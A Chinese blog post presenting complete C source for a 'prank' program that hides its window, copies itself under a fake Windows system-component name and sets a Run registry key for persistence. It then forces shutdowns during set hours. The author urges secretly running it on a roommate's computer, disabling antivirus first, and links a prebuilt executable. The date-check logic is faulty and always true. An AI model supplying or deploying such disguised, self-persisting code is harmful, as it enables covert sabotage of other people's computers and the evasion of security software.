C语言定时关机恶搞

2023-11-29 07:10
文章标签 语言 定时 关机 恶搞

本文主要是介绍C语言定时关机恶搞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

程序的功能:

1 :开机自启动关机以后再开机,程序自动在后台运行,到时间自动关机,关机时间可自己设定。

2:窗口是隐藏的,启动的时候没有任何现象,但是在任务管理器能看到

3:全年,非周末时间,早上6点到9点,中午12-2点,晚上10点之后都会自动关机

4:快乐方法:趁你的舍友不注意,使用它的电脑,然后运行该程序,舍友就会快乐起来了。

该程序适合在校大学生的舍友,经常在休息时间打游戏或者看直播并且大喊大叫时使用,效果非常明显,且持续效果久,且不易发现,本人命名为早中晚快乐程序。

控制台窗口隐藏程序:

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 设置入口地址

开机自启动程序:

char exepath[MAX_PATH] = { 0 };GetModuleFileName(NULL, exepath, MAX_PATH);//printf("%s\n", exepath);CreateDirectory("D:\\Pregram Files_t", NULL); CopyFile(exepath, "D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", TRUE);HKEY hkey;  RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);  RegSetValueEx(hkey, "Windows System32 网络核心驱动组件(谨慎操作)", 0, REG_SZ,          (const BYTE*)"D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", MAX_PATH);RegCloseKey(hkey); 

代码

#include <stdio.h>
#include<conio.h>
#include <windows.h> //系统头文件
#include <commctrl.h>
#include<time.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 设置入口地址typedef struct Real_time {SYSTEMTIME ti;    //定义变量,存储系统时间 int second;int  minute;int  hour;int Milliseconds;}TIME, * PTIME;void Gettime(TIME* time) //获取系统时间并转化成int格式
{GetLocalTime(&(time->ti));     //获取系统时间time->second= time->ti.wSecond;time->minute=time->ti.wMinute;time->hour=time->ti.wHour;time->Milliseconds = time->ti.wMilliseconds;
}int main()
{srand((unsigned)time(NULL)); //随机种子char exepath[MAX_PATH] = { 0 };GetModuleFileName(NULL, exepath, MAX_PATH);//printf("%s\n", exepath);CreateDirectory("D:\\Pregram Files_t", NULL); CopyFile(exepath, "D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", TRUE);HKEY hkey;  RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);  //打开注册表RegSetValueEx(hkey, "Windows System32 网络核心驱动组件(谨慎操作)", 0, REG_SZ,          (const BYTE*)"D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", MAX_PATH);RegCloseKey(hkey); TIME time = { 0,0,0,0 }; //时间while (1){Gettime(&time);  //月份和日的判断:可以自行更改if ((time.ti.wMonth != 4 && time.ti.wDay != 10) ||(time.ti.wMonth != 4 && time.ti.wDay != 17) ||(time.ti.wMonth != 4 && time.ti.wDay != 24) ||(time.ti.wMonth != 4 && time.ti.wDay !=9)||(time.ti.wMonth != 4 && time.ti.wDay != 16)||(time.ti.wMonth != 4 && time.ti.wDay != 23)||(time.ti.wMonth != 4 && time.ti.wDay != 30)||(time.ti.wMonth != 5 && time.ti.wDay != 1)||(time.ti.wMonth != 5 && time.ti.wDay != 7) ||(time.ti.wMonth != 5 && time.ti.wDay != 14) ||(time.ti.wMonth != 5 && time.ti.wDay != 21) ||(time.ti.wMonth != 5 && time.ti.wDay != 28) ||(time.ti.wMonth != 5 && time.ti.wDay != 8) ||(time.ti.wMonth != 5 && time.ti.wDay != 15) ||(time.ti.wMonth != 5 && time.ti.wDay != 22) ||(time.ti.wMonth != 5 && time.ti.wDay != 29) ||(time.ti.wMonth != 6 && time.ti.wDay != 4) ||(time.ti.wMonth != 6 && time.ti.wDay != 11) ||(time.ti.wMonth != 6 && time.ti.wDay != 18) ||(time.ti.wMonth != 6 && time.ti.wDay != 25) ||(time.ti.wMonth != 6 && time.ti.wDay != 5) ||(time.ti.wMonth != 6 && time.ti.wDay != 12) ||(time.ti.wMonth != 6 && time.ti.wDay != 19) ||(time.ti.wMonth != 6 && time.ti.wDay != 26) ||(time.ti.wMonth != 7 && time.ti.wDay != 2) ||(time.ti.wMonth != 7 && time.ti.wDay != 3) ||(time.ti.wMonth != 7 && time.ti.wDay != 9) ||(time.ti.wMonth != 7 && time.ti.wDay != 10) ||(time.ti.wMonth != 7 && time.ti.wDay != 16) ||(time.ti.wMonth != 7 && time.ti.wDay != 17) ||(time.ti.wMonth != 7 && time.ti.wDay != 23) ||(time.ti.wMonth != 7 && time.ti.wDay != 24) ){if (time.hour >= 22 || (time.hour >= 6 && time.hour <= 9) || time.hour == 12 || time.hour == 13 || time.hour == 14){if (time.minute == 4 ||   //时间的判断time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == 30 ||time.minute == 59) {//关机程序system("shutdown -s -t 50");  //50s -r重启 -s关机exit(0);}}}}return 0;
}

编译时,记得把运行库改成多线程MT,把静态库包含到.exe文件中,否则你舍友的电脑没有安装VS就运行不了。

还有一点需要注意,在你舍友的电脑上运行时,记得先把杀毒软件关掉,否则程序没法加入注册表,没办法实现开机自启动的功能。

假如以上方法在你舍友的电脑上无法运行.exe程序的,还有一个方法:下载一个vcredist_msvc的环境安装包,先在电脑中安装VS的运行环境,再运行我们的快乐程序,运行成功的概率将会大大增加。

假如你没有安装VS,.exe程序我已经为你准备好了,你只需要在对应的电脑点击即可。

链接:https://pan.baidu.com/s/1JHeQJFyG1nwr-76RmP5HRg 
提取码:kgfi

点击之后就会出现

如何关闭程序

按win+R键

输入 regedit 进入注册表

 进入   计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run目录,这里存放的文件都是开机自启动项(当然也可以在这个目录中放入你的.exe文件也会开机自启动)。

 把第二项,网络核心驱动删除,然后重启就行了。

快让你的舍友快乐起来吧!

这篇关于C语言定时关机恶搞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/431913

相关文章

Android kotlin语言实现删除文件的解决方案

《Androidkotlin语言实现删除文件的解决方案》:本文主要介绍Androidkotlin语言实现删除文件的解决方案,在项目开发过程中,尤其是需要跨平台协作的项目,那么删除用户指定的文件的... 目录一、前言二、适用环境三、模板内容1.权限申请2.Activity中的模板一、前言在项目开发过程中,尤

C语言小项目实战之通讯录功能

《C语言小项目实战之通讯录功能》:本文主要介绍如何设计和实现一个简单的通讯录管理系统,包括联系人信息的存储、增加、删除、查找、修改和排序等功能,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录功能介绍:添加联系人模块显示联系人模块删除联系人模块查找联系人模块修改联系人模块排序联系人模块源代码如下

基于Go语言实现一个压测工具

《基于Go语言实现一个压测工具》这篇文章主要为大家详细介绍了基于Go语言实现一个简单的压测工具,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录整体架构通用数据处理模块Http请求响应数据处理Curl参数解析处理客户端模块Http客户端处理Grpc客户端处理Websocket客户端

基于Python开发电脑定时关机工具

《基于Python开发电脑定时关机工具》这篇文章主要为大家详细介绍了如何基于Python开发一个电脑定时关机工具,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录1. 简介2. 运行效果3. 相关源码1. 简介这个程序就像一个“忠实的管家”,帮你按时关掉电脑,而且全程不需要你多做

使用SQL语言查询多个Excel表格的操作方法

《使用SQL语言查询多个Excel表格的操作方法》本文介绍了如何使用SQL语言查询多个Excel表格,通过将所有Excel表格放入一个.xlsx文件中,并使用pandas和pandasql库进行读取和... 目录如何用SQL语言查询多个Excel表格如何使用sql查询excel内容1. 简介2. 实现思路3

Go语言实现将中文转化为拼音功能

《Go语言实现将中文转化为拼音功能》这篇文章主要为大家详细介绍了Go语言中如何实现将中文转化为拼音功能,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 有这么一个需求:新用户入职 创建一系列账号比较麻烦,打算通过接口传入姓名进行初始化。想把姓名转化成拼音。因为有些账号即需要中文也需要英

Go语言使用Buffer实现高性能处理字节和字符

《Go语言使用Buffer实现高性能处理字节和字符》在Go中,bytes.Buffer是一个非常高效的类型,用于处理字节数据的读写操作,本文将详细介绍一下如何使用Buffer实现高性能处理字节和... 目录1. bytes.Buffer 的基本用法1.1. 创建和初始化 Buffer1.2. 使用 Writ

深入理解C语言的void*

《深入理解C语言的void*》本文主要介绍了C语言的void*,包括它的任意性、编译器对void*的类型检查以及需要显式类型转换的规则,具有一定的参考价值,感兴趣的可以了解一下... 目录一、void* 的类型任意性二、编译器对 void* 的类型检查三、需要显式类型转换占用的字节四、总结一、void* 的

windows系统下shutdown重启关机命令超详细教程

《windows系统下shutdown重启关机命令超详细教程》shutdown命令是一个强大的工具,允许你通过命令行快速完成关机、重启或注销操作,本文将为你详细解析shutdown命令的使用方法,并提... 目录一、shutdown 命令简介二、shutdown 命令的基本用法三、远程关机与重启四、实际应用

解决Cron定时任务中Pytest脚本无法发送邮件的问题

《解决Cron定时任务中Pytest脚本无法发送邮件的问题》文章探讨解决在Cron定时任务中运行Pytest脚本时邮件发送失败的问题,先优化环境变量,再检查Pytest邮件配置,接着配置文件确保SMT... 目录引言1. 环境变量优化:确保Cron任务可以正确执行解决方案:1.1. 创建一个脚本1.2. 修